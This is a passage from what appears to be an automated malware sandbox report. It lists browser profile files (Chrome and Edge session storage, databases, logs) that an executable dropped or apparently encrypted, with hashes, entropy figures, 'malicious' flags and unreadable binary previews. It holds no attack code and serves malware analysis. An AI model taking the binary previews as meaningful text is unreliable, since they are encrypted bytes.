Preview:	2023/{}..4T.@8..t.$-..J.<.wu..s..0.F.06..>...8r.K.F..}........I`...[B...6-H...T%.Z...........(....\|".-/.......'.......@.S..K)y...\|.X$1.....u.'..UjV.....%.......cKm\|nv.9..8..,dHu.l....:yVC.......9....]............M.d.`...z..3JB.y......'qQ...@...[..g.S^.[.jF...N..2}QSx .....8.ME........D.+%$!].<m...: ....E....^.T..<.n.....u/...;..W."....>.Z...Y..K.].bu.r5..bvLC.r'.M.y..4{..R3...b..i(~.hu..8H....#Q(7....U.6..?H.}...Lev..e............;...h.....O.\|&0...v-/(......$._..../.._D......C..G...;...wO.'..[.X.=...e(~.iv..e.....P.K2.U..H...7=B?i.!....\D-.........J=.4......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.930696330926917
Encrypted:	false
SSDEEP:	48:ZXmQAx0fFTLDbrRfdoiTNzNuQim6PKWbuT1HhvDZCBYknXvzHwD:xmQAsFTLDbroiTjuVPKWbupVDZbGM
MD5:	7B250E5915EE83037D502A19CCA4A0DD
SHA1:	5C192913067CB8E7D3DD4AF5B88FB4D737A85939
SHA-256:	D75291600CE5C167465EA79F891FF1F4B368D46F32AF1953AD15CC645CC3DE53
SHA-512:	C91F4585390EC1ADDA8BCA3E63B23B0C3AB3068A19D324999AAB02B7E72E81972463FE634507BD4AB8229D9444D99D1C219F4277D8952979AE65E8D3E7AC6D96
Malicious:	false
Preview:	...#.a,.."............g.sj?F@.H$. ....0.d.....J."LK.).jARzE....;........5.?,..H.Q.`..n$K..m.......7....c..F.`;.X....m......'a>...s...2.C....."2....T.......".....R)...]....r...J..]...D..?V} ..P.=..fC-..QY.x...(./gU.........#K..`..\|3%.3E.}.\|.<.. .....b..t.s..~..8U.l.Q............Z.{.y...\|@...k..A..>.6a..%..Kc:.f...dO6.z.C.....g..d.L..?mxsq......s.2.f.!...?$.F.f..]...9^.$.Q.}k...4...EY.IZ.6..5.+..F...M'......,.B.....'....xGqB......N..j.p!#...i.F%...~.C4...p..R....N.CH.2.w.qd...Z.HN?...8...~$.....I....K.g...i^..`$q.&..M.5.....B9..9..vE..[.....6..=.\|..Gs..Y..s....XP...gU.$.L\|C.....M...}].....jB#..nF...\...')h./$:...w...rG.7...P7o..^...D.tz..2hi...K.(>J....b]$....>..:.G..."..i'.7......_F.Y..D...<.m.e.\.1.^.2........K...!..{...!.ka....ZO.L....OI>......./d.]x.N0...t.<.d...P....Xq..@.~.....}.'b.*2z.R.9....).u..7OK.F..Sb.c.....Z....\......_...u.....X......R.e..5...@.>.y.K6\P..i..~.....@..U..fl)e3..W......"W.)..\WNG...q;.$..z.9~.#.41...U.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6444777858191415
Encrypted:	false
SSDEEP:	12:kItPOTa7caKjKHmVfJ4+sbOryTQ0vmJGMGf3QP40UHHSUdNcii9a:JtGu7rKjqq4+sbOryTQQMOAg7Hy2bD
MD5:	F03BD8330BFEA1C573851C8A1B61CAC7
SHA1:	9C8F8E05013942392D04C5D64517DF7D900F3BD4
SHA-256:	81A20A52585C99B9ECEEFC6A1213AAE39E557F98403DCE18043CEB86DB64B55E
SHA-512:	545B01A20DB60B1523CD27C099FE50145ECB6D0561F281D14B4AC8DA679A26CF87A42BD8CA45131AE6E96E160C7CD6658721A2045CF4295D46943C565EA930C9
Malicious:	false
Preview:	2023/Ssu\|=..,.......S....FWp.....(....d.y.8.).........%9..C[:>n......Fh]....K.8K."h`[.....H.z<b..@...........R.w.v...RIl..1.$)u..U...^.\Y..Jl...9..~.d\....\|L..E(4;...mt.[..Or..I.uW.........BC.......Xr.+...........7.1.$......... l].E.}.Q.9.0V.T.~^HE..........4.-.]...b..S9....6.(....-.l.......7_...d&.&..^[\|KH....4......o\\.j.IY.{.V.Dr....M.1...1-6....7...B^H.j..V.<K..a...Nf.....6o..8.7(.U...O.....S).mc.W....y^../.629....!z...]%.S.y..2..?.f...p4.....i.._.E.cb.....+.b...s.c..!.....`N.;{{.JFh.&q..M..`. .=G..9^%k.(9-O..Q.?*:....t.'.....;.N8.:mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.518717516662114
Encrypted:	false
SSDEEP:	12:Tj9LIeIuAEVyLUYHqZgEE5JU4euLSSUdNcii9a:TVI/mwKitoqh2bD
MD5:	6E2797E2BB795FDC63BB2B48DA840068
SHA1:	B310385B086D92CEA3D84EF6BF20D54A270D3F31
SHA-256:	1A955AA322BC72FE3DC82261746DC1020913EF4FD206F2ED4C9E590E4DFB82A7
SHA-512:	8B13DF8AE771A82A3781273BF57C53A2DFED14985720D083D1484B20C1B7B624F81532F8A31CAD68D3002EE467BE299CD5BC2904F48BD656691BDF75569ABB2D
Malicious:	false
Preview:	.On.!"...A.R\.q..J.C$..Yv)<H.....O..O]L..&$f.;.U)D...Ck...?....4...h.N....Q...Zg=.azX......q.T7t...Xt..j.....^.i....R2\|..........031...kw>H....:..k`..Hw..K0...._.....&w.._..e......35.5...`.....M..>S..-.A..K....t/..z[......+..&....Eh..,...^....%K8v...J..c.......F:.3.....V.....(W.uR[.$....S.v3.(..XT..]?O>^.\..-........q\...i5Y.N..w.........9.@..f..~.9.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.675448460468576
Encrypted:	false
SSDEEP:	12:kZU6VpFSPsSUVbSIRVZXPXW38OxFAVzPo/M1UDhsWEp0PDGjjbg1zs6QSUdNciik:YU6VePWRSIRzXPXW3pMVk/MeSWg0y3aA
MD5:	907FE3E9CA3D7B134E420E9475A22C0C
SHA1:	EC23923555B1DC5D3C11D8686B74F9AE886E6A43
SHA-256:	57CA6FA5656E1A606A2721DBA03562E920CF9A3D711758DA06D379FF638AC8A5
SHA-512:	BEBD1FE583F569B37107F2B3121513699495B3EA3643664321D2FEB174ED22E3FA49351575AFDAF1E588CE633147332F8D3841098FD61D1CF8F84C7C9547EB07
Malicious:	false
Preview:	2023/..o....t...[....y.yug....1_...._.......Js.).p.H..a.X.(.]-..~..>4.i/...?....c6..G@.t.1..F.......!.y~:b......v.O.y.km1..j.C.H..3J+..2U4....Q..n..~.U......bf6...y;....v..(js.8...>J.,..:..g../.'^.6.u.o.)..{.h.M.1x...>...$;...!.\....zQ.....\....V..q.J.P:....I..=Z....a1...........A...N...(........qx.v...X....5..7Tq[...@...m.q....y.$..Yt..x.=\|.4..,...@..1<KV.7o...h"..$..Yq..AI.[.e..9-..K.}.K.@U..rr....z.....k. ....h^.&..g.bmq..f..w..X!sCEI....B$..D1..Bj\...6.V\...Qv.5.;i..P...L.....+..$...L...P..h.R.Ez...?{o.rL.5cKG.x&D...8...E)..\.....C...6x3......>.E...X..*..%k.....A.7O.)mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993278406338032
Encrypted:	true
SSDEEP:	768:U8sW1BBkcVapV1NKowHrfi/ulc8OfTIz00GapL:VsSBBkcerwrHTlcNfT9REL
MD5:	19E92E80EF50E2AA2E8E89EA0221A86B
SHA1:	A5295B62B4FC0349718BC4E90B4B0130463C5382
SHA-256:	36E71435F728628B8C4D3F5E5DBCE46436E4BF5C4A26A939F519AD1DB618FAF0
SHA-512:	419987038F95A101345A875A6BBAF7954A73122B5C673966C6C4D72DED19B17B270657A34C42B5CD56522A335B2415A794C93BE7A77869CA20ED8913735296AC
Malicious:	true
Preview:	SQLit..c.%.\|....7^V].4.CN..C...w..I.M5~..^......m..>.?../}...=i[.l?..e.9.....>.. ..;.b.}.....(.......].q=`q.d...).W.{.Y\|..VN..%.o.r..j.......+UW..w.>}.g..S[$....cSr...B...y.....+.l.I..t(...P...]......<.8..... ....5yc!v.H.cN.Yd.h...8.?(...7..F......&.M.....N.E~...Bz.%..}.0.....Ve..c+...^{%.....O.8...4.(.0fW.(..vn.z.h.l..ME-...<c..N.t......K!..Xc.&.j}Z..f=~..^.tD..\JO..]....^k....7is%....;.T.lb..V.Imh..X.F.:7......aD.X..R.zQS\|.\|...y`#w..Y.!...>.....t.......#.....k..[?b......!........T......~.]4..NI,`.jg..)."GK\.'....w#......B..L..F...l..GwN.............p..y....$...Ifv....4...Q...M"..k..r....Zy.X..6........f.........odH-.7;J.n..........r..G..^......7.k.".~Od....E..... .fZN).\`\...[....?.A.fZP..t..2.-.... ~..C.cOL.\...;...f..{D........=...)%.\8.,.'H+9N.....m...*5..7b:..e.WH..n.............dvOe.&"/-u..U...6.c........P....B...@...7+n...3..2Hf.....h....b.....wm......+z.9...0]..\|H._.a......T.\..)..._]..."...b..a{..l.......?...4'}BJ..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997419637031674
Encrypted:	true
SSDEEP:	1536:AxOz6P5EWlWYXfwUot/yF35aAlBah2UoWsrs:Ax8u5vPIUM/2Basprs
MD5:	4D0C5C81A8FAECE4F8AD3F249761BE35
SHA1:	EA6AD2699FFA4BD489B1D1C5489A1C52D807AC39
SHA-256:	0797EBC2E0F8332AA55E559206C4D7A673DA25A6358B9B9EA2217DDE2267BA38
SHA-512:	37DA9EB5EC95187CD0AEEFD19E1A4DEF8522830B1BB9EF7FFF134B59613AF1E3533C446B2043DE7C08C061A31A5F51B4F1108C166057BD2E751024EB24DFA5F8
Malicious:	true
Preview:	A..r..;.o-....[X;....q....4..}..+...;..V.0.......{..V?#....7..I...t.<.:...V.}$.?.J.U+..nff..RcGO..!h?...N)/^..z..?.J[&.v.x...F.A.-+......k..0...[ .....r+.v.....h..84...N..s~.:.F;./n.V.W\]2...&..H].=.s.....z....G=c:..guM...68.a;........U.B....n>\.....?...~...l..%)0....X.....w]qz..\..0..`....<%...@. ..G..I.....~N...sJ.u..{.h.H....-..rhi.a.....O{.[Q.....+.q.D.x..[..4.Z.0M...7.F...d./.N.].U.1..r....Q..\|.EV=..K..R.. .<pJ.e...u.d..7M.....@..ZLb..a...3K.1C...F0e.pV#l3z...A.8....Y..~...~.1Ij.n<T..'....K..D...n.!Z.ZAs.ES.GQ.?....$.]...l.\...D.u..n03.45.@!..+....C..P..kF...V.{Z.T}...4.k]^.'L......P......]8u.1..g8.....'.?&b.....8;..)5.x.....\|.p...m.&..<u.NVA...y.#p.Pvf.}......a.y4.0.2t4.....+0..."_.....X;..K+.wC.XI$9...m.........tR..S..Dg....".H.. ........W..:.;O._R.CJ..J<.../...u..m.7.Jf..!.}...\..S..:l@.....K?(....."..............+...@.F..8.OM.b.7=\|4DL...w..A .G.~$7o-..B......@.....^$....V..M..}..b...V....-../\.F..&k.XL...=..o.3....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.71126661592136
Encrypted:	false
SSDEEP:	12:kqigYhgj1u/WphEeAgjmEEHERjDnOJABhjI8a7k++fTP6bEqI/Wm7kESUdNcii9a:LirhgjAuFKEEHERjaJo1IV7k++rPoD8r
MD5:	955AFD39882BBD0590A2442A8EF1EDA7
SHA1:	1A94BC9D6C84E2D1F44A8F62BE7D12E6633DE8B0
SHA-256:	ACEA776136245AF50DCAFFB7039D9A7743B34BC34F176A70BE6C1C90799C42CA
SHA-512:	3154F98AF747E836B761796846433328EC07D3766E71981CE1851ABF97DF63AD6E842489B9E3F90F3CA3727F574A004F2217C07E338A396FA6924F396521F36D
Malicious:	false
Preview:	2023/.a..xn.w...Y.^.e);u..\|..33....".!...........X.i"). 7..>......r\...(.w..(.....cnz..R...,%........Jas0.W.B......._g.....~.Z.......=...D`.=......k...T.N..W..._....It1....].h...+...o-.....Q..opL...H.q1GK.........K1?..B....`..UN..........e....T...._rA...:...n._...n.4......dJ.U6#bXP........M.Q...?..).....o.t....yb,..>..4....a[L..K4...@.LBpTx....y.Py....Zh.%.ar(\|..0.d..b..LgG._......tp...S^T..m.!c]...-.<r.(...W.C_.'...-..l.M~.>.QO.Q.. A....C.*.o..t....^.Dj..515.32..=."BvV.%X.'^L..Y. <s3.....(......4.'...`...TN/..@Q...MQ ...F\x#..H...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996088693648217
Encrypted:	true
SSDEEP:	768:0haIQ7hZnBOSLyHn2XSrmEc9CUENmSyBLMhjpm8wUL3BSR1e533PSMvxP61bwZiv:fIQrECQE99CUPSylM3xL3ARIaOscZi+4
MD5:	FDAEEEA8C61F40A9655FE420C627281A
SHA1:	6527982BB065823AD851D1DFD820753D9C8C77FB
SHA-256:	94B9C687E3D05E0D2E1E6722FF681C9505744D67E43687E05AEEB115B3E1B51F
SHA-512:	59B632C9AD96E737FAC095F1EDEDFDE3CDE61EC4FD6C75749455C6D0943ED82FF6FE0E9998124C7506D319BA3F3E743A0B641D26DE159FF98FDDF14550411350
Malicious:	true
Preview:	SQLit$.?....W.~...a.......J.Xx..I.,...xJ(.i...FX`~....%!...]V....F....t3h..h.%d....$.t.C}....+.........^...h..C.....6.w.....l.......f.]T...7uG..I..pd.X@.6.:...@#...mZ.R.....`.k.d....0.E..\...m..E...3.t_.......VO...'9..\|.}...C....u=k..8...v........=7h....A...,...6V..$.....2...C...P.u.f..5..M.4.p.7.-`...K.......+........o.D......,.g..X9..Y....m..Wok..S.`..3....5$.M%:.\|....IPx.5_..G!.0..!.>........b..bA.P...%.......k...p#..,Q."..=..(L..m-..v\#..[6.R}.!.....s..{.G..9...Y..9..L.J.h^F~.@..V..?$(.Z...Y.. b......WxM.........Y/..X..R4.V.c.#....f.P........=y/.CI.^V......u.s EN.U..a./..\..`IK)..1.a.z....../..".\|.eQ..Bv\...xA..E.-/_...m.W...Y..T.......a?.].g...l`WG..].^fb6].X..T.....R.RmGQ.....ani.6N...i.....}m.^5..Rw..S.0bV.....Yj....lo.P...[h.?.h.....4_.....k.-s............<......q..s.)>..........m.h..h..9$zXCnBW.X$M,.Sx.5..M.NnA.....\|i.qM.>.....7.. ..K.F.x.11..Q...v.. Z.T.p...F.1Hw..W5z..;.......Z.2.r/q.f...4.)..^B..8...*.N.-T.+>........3

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.37219554189501
Encrypted:	false
SSDEEP:	6:QltAmdVZ1xv2NBivuepj29SlR5FQVZ2xc1s92qzt2pOaZIfxqb0k7nIS1WdNciik:QPpdVxFvuepagjcmxc1sUu6O4Ifq0kMB
MD5:	E3E9178BC46AD36C749FAA90832A7E8A
SHA1:	0E29DCE9C51FF9EB46F45C58BE7524A8B445B42E
SHA-256:	06270F07B5957D194255D5C9BC0B82107DA355D8074328B21D2FB373851F8504
SHA-512:	6DAED57E750CDB98DE0719F52C315A1581175E950F0BB457B2DCD637AC2027EE92068B466CCB288605B228E1F7B567DB545EEF27F86DB6E63DA80FA1A1CB5BD8
Malicious:	false
Preview:	1,"fu.V.J..tS.......7..o#.yB.P...8.."...+.....+....#:.....#.."3.T/...=......6L.t(G.K....W.......sm..k?.W.+..\...v............y.z..,..:.v/3<..Y.$4.,..#......<.H^<h.89...{F5.Z.[..\.zb.T.......W..h4...jd.ZeZ>..)...D..M...mA.58..Y.t.q.h...3.w.#.g.e...... ..0.9...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.826786603339376
Encrypted:	false
SSDEEP:	24:EthNEUVnz/spC4HgS6jtt3Z8/OloUz9hFVLCOrJfezVTIErDNoheMRzVo9t08Jnw:E52gS+tpZhnvvMB1Nohespo9tHJkD
MD5:	4D4D8B2A19432E37D220491165AA01D0
SHA1:	E9650DB3EAFB49CFFF8994F5B151F8F48C52633C
SHA-256:	D34BBA6E2AAED4928DC7D1A022FBBEA35445F80C88569328A418928C4C6EE03C
SHA-512:	4EBD209E8EC2D33AADED5276040B9DC86B1F90799AF3615C9DD596D3D0B3C348E81B556EB17DBDA99BB4806C33F81DA3EE50DE3F880E81B26DFA81788A0106E4
Malicious:	false
Preview:	1,"fu;._...6.\S.zR-n.Q_....(..<~...d.vk.@A-.!..C.9.9..n...3....^XQ.yN...]...v{].....b"Z....;......X}.>...8...9.`.s.#3....,;...-F.L{.y..`~....9.....`.FB...7M:...O..1C%U..w..w....J.......5..m,\.o..%B..S9........3.p.......z./.^8.#...... ..{.O..1..@,.>.........}.ec8......i....q1.....)...".)c.0..V.l..-^Hk...>.U.6P.}z&..T.......F$......&S.P.k....}kGK.)].k.W:....a/.e%.oo../4(I...'.p...IE..^.....}?...WQ.......E..nZ&.K....[...?03.qi.^..m3J"...M..ai4...........~........."........(dl..1v.....L...W..{._8\..........n..z.....6...1p1.N<.'..K6<.../...H..r.?U.e...n}.T......F.S....L.....J..S1...=...IQ....JUzGzim<..[..."C.....yT.y.Z..C...n...+yr..=.........o...S..MA..&)...8".n\|cN...0.F..t....L.T{rdZ.x.Y......l.(...\|.........G.<....u..:]l6r..V.a7l.fD...Dz......v.Z.`C......qcO./..p..I.Lux..Ev.&.^..B....7....s...Y&..p....8.pc.W^...^}T.......c.T....l...8....G.Jw.wS.>........<.8.O^.D..M....\F..V @.jR.;.!.v.D...J....~...q....U.;......z..........`.bi..c..T.X.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990229053441676
Encrypted:	true
SSDEEP:	384:7B3BLy/hM60s1SUYZ5wecM9hKODSMaa8Y9G02TNBS115Ojm:7B3BuG6DfJMGsV8Y9H2T5jm
MD5:	16CC942211CBAC9FA01B03877664C0C6
SHA1:	1A3271DA802A4722F8AAF0E2516EF74C78CD7EBA
SHA-256:	4DD5174472244339839C0FFED20CE753EE11E144F23DD238D8F95B7C20EEC513
SHA-512:	E8B0D85B3511012C0FB34614F3C42D9F2E4A85F3888937FEBB4402840EE4507BCC732B503DB1144463618FB8ED5FBAC7BE5E678B07D12613C779E7C00E03934E
Malicious:	true
Preview:	...@.{....F8.0<...u...B}\|.2..v>8i.H............U.#.-....>.P...t.hQ@-.x...e>.0Y....q..@..]...r..-..k.d.:..f,..aV...'..gk%.@..m8...,Hz..M..Q:....?.!g..$..Uh...4.:........1~?4n......O.K...g.G<...?..K....,!.G..+.B............}rY...dx..z.Z.~....8....x.........w.........7...;...nS../o`&..<.....`.&/....C..T....^...v.^.F\|R.....Z..kzy`U_x.r....F.[.1.X..$.......[..?...6$K.....g{....;..!....f}A..9..M....d\.\3.{..9.:7.V8.f.v~p...f..........q...@)G.8&=..YB.K..!....&K..g...p1....Xk7Si.=A!.)N..f`..,........C...<n.?.)....8K..3...I..Y...g.gS...phe.K.....v...F.........."..@...< ..O......?...7-"a.@...Il...$.5+.T..X...M..4...YM...\|a..!.;.B1.........)+.. ..IP.L...GeD..&.;,..&7.I[r.ze.7.w.....M.g.C...\|.6..?9...%......,.3.......B...\|{...A96..X*...cL.b..[.w...W1....O..Rte.....Z.&..N.[B.... (..O...}4..k.J'L..'.H.\|h-J....5.-...Y..kB.....Bc...:.m.D.....E.[[l]4..n.P.WF4.........+.L.{.....?];a..M.........b.a...........r.. A...D..l...e.x...D...a.nGJ&.Q.@.....h..q.{.wHo....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.782437416045357
Encrypted:	false
SSDEEP:	12:qrLf6o7E0Ff2mm4VoRDFOXvmMU4t4LNnmOKmwpvABUEvaapbOBsYFk7+mTjQOHSw:Ef6j0ZdUAm24xnBKJvABFC9ph2bD
MD5:	CE262767E8EB7A151224EEB2EA3F7AF2
SHA1:	742833805FD6AF7506E8A97B9485D22775CA6387
SHA-256:	4BC63F2464A06B3CA969887B3F7D942315612DCBC503115AE3CA865D25314F9D
SHA-512:	1A34EE5181646385A10B8240671ED045ECA227E6F296EC4803D0C60DCF17BC0B616962FC65BFC7276448B3A4CF67A8909C0FAE56037ACEDC3813D3D60FD79F0B
Malicious:	false
Preview:	.f.5.].%....1...jw..1.E&..y9..1..0R...L. .......ke0.<6....F.9}=..v%u`P....G`..........X._k. ..f.......T...1....U.%.=.A.[z.;..A......Fn.J.......y......N.i.../c-...)....?.....Ol..z..c....,.l..w.....>.[..XJ].HG.U.T.....f....p,..U.......n.j.v...C.+2W..9...P&..........Z.h..:.....w..v.>..q.['.........x..+.,.j...X.6.^^.#=y..=j...?Q.;.P]..9......Sm...J,.B....2..(.I.D.. ..s....f....:.3zX.4..>.....?.N.?.ZX%..JG.[Ok.N.H.l...M...$..1hYz......]4.B....u....U....F......v.c.".m.t......5w....1JW5.....x.7.......`....w..t.,xwA_...&..8....}.....<L......?..$D.H.4"..)}.,dF.. .)A.m.x=..D.pOr..2..q..k.qbR...l..."&._.{MgfL....^..8?.j.u.....xv~<#i".tO]7..R.1.g..4#2..Z.lS......E&.......b..bi.q..C.97..!...o....$....s.`qa.^C..9~...'q.....yA.,=..C..'.{..o....M.2.g.6.......Zx..@.>.%LVs8..zf..P.z..`.8.-=4.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.540353293532822
Encrypted:	false
SSDEEP:	12:SAY2kW7fEl7F30p6FiRRawhd9dUvzHd6zSUdNcii9a:ZXMl7m0FiRRawhd9A9R2bD
MD5:	1C1FE8C7E65C844D6379927420F31679
SHA1:	EEE32D0DD8AC97A4E295590CC80635D59F11CCE5
SHA-256:	BC328FA3AF73EF944DFB6FFF129DB3967D9FDB5C3E2DA9F38A74D1625D8E93C8
SHA-512:	FB1B973533481177C2B6A33CFB621305A9354818665A48CE0A1D1D362E51DB5CF36AD569E3411CD71AD575E1DA6630053D0389251A30F848E5AE78C03EA0360A
Malicious:	false
Preview:	...#.....j.~.........b...l`...2.!i..m.R..iQ...S..q2.P...........^k.....O._zk.....'.Oll..XN<y....xJf.D....~..k{B.3R...c.3.$....'.m......*......;.F.....<....5..VZ....N..1...0......S.8......-.=..,n_![_..`yg.......G}.CAE...\|..TT2@.."<....S.:.z+.%.KH~......{p.S8..9r.X..^.H........5..?J]..W...I........ ^...Qs..g...>mZ.1......T`.O ..m\|...=-y...{.w#Ih...O.u.z./{.p.U..Lc...Hnl.w."X.o. ...L.HmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.339499826624608
Encrypted:	false
SSDEEP:	6:3TMuF0swWo8u8Nx7bjrqTd+yvFJ/0V6BTzdKejaJYPX+JubFj3wknIS1WdNcii9a:QuFJwWo8u8N5jy5FKV6BTxHjhdNMSUdV
MD5:	753F8B93E9F819C8B34286764369C6BD
SHA1:	F3BB99E91DD254805AA441C2AD7D9F01A310313B
SHA-256:	1637AB345F35335D7876F62758427EF524112FAC08A9DF3FCF0FFBAAF001795E
SHA-512:	DC00265A16EDEB50D8838B2D68AB21D3F278A52A92705A57A6F5E968D0368BC62CFF806ED14F8E7518D3037610ECC8EEF76F4348B88C383749D69AC46744DF37
Malicious:	false
Preview:	.On.!..]f..F..2C1....o..A.../.)v..'..S.(...c@...h......V......y{..gk..Y.........!LQ..gu-.........X.U...V~.i%.....i..cPbM./..C...T....;.B.M.\.Y........B...W...w@F._=...p.I..KF.:.^....C.b....gV..x.z....4.0K....3mrq..]..].......Q..sh.HW...H4.?...`3.5..bB..E.Z...M.E...p.<..]..ia....m3.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.691490558899003
Encrypted:	false
SSDEEP:	12:kYL6jqRf36SxvM42qgMGebt5E0GsdAfF16CO+qGHcOEdDRQSr8lWSUdNcii9a:DL6jqRf3txvM42qgM5E09duHnO+9Hcnl
MD5:	A5DEC71D102554C218D631EBD0E96360
SHA1:	2FDADC4BE12BDA07D80EEA87B2B6E8B3BD6757F1
SHA-256:	B9A6FDD67A30516BCA8B35CE60A08266F04041F806045C812B809BE45B3C9554
SHA-512:	B733A48BFD251BC533166967CE041BE551C43C807C8291CF2583B03212A65A83FF27281F32E212ACEEE5C716573D97F55E9E6865943B8FA70F7D93726A286051
Malicious:	false
Preview:	2023/....1...X!.!&.."..Oq.y..Y..\3..^./....g.......cU.u......(..!...3.H.?E..@.h...0...K..gX.Q..c..ZK..egVx...4......_...1. e~..hR.=..V(...^...OQ.R..i...)[..?cH.......W.8.....!.Df....`.g.tR.tP.H....#o..K...O.A....j.4Tl.zX..(.y.._L...{..IE.:.=.S{...7.1...Pl.J./....!.S.f.O............v^...ISn..%(.............g\|U...:m2..V.....u....~...:`.....s..dC..._2[>..\R0..k.(C..F"..........7...]....q...)}...........2......8k....=..6....$b....y.c^...hQNC.......x..........F/",0`4...W....POk.M#%....`.J..<"....A\|(..A.pt.i...tG.s)..v./J...m.&...I.8.mT.w.Z...@Oh.....z.=..."......D.Y..2mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998650236674956
Encrypted:	true
SSDEEP:	3072:/ayMa7aGFhchCsCeiQtPq0XFyi5IBPLp2zQoyd:/aa7cotwq0pIBPLM0d
MD5:	016954200CA7C4EBA609D2DB4A7C7F2E
SHA1:	40E8AA11DED35C4C0BCEEF93B5E19CA172CE4213
SHA-256:	C4A11B7C6E15980102B1117B767A838104A11E287117E789A1FD691C9596069E
SHA-512:	567981072FB0F396C93BBD2667A08951C9932CFA6008362EFDBF992DEA57342646C6D6956639E7ABF1020CA4E7FA5D7835798011CBF61C89B21429E07CCC4A55
Malicious:	true
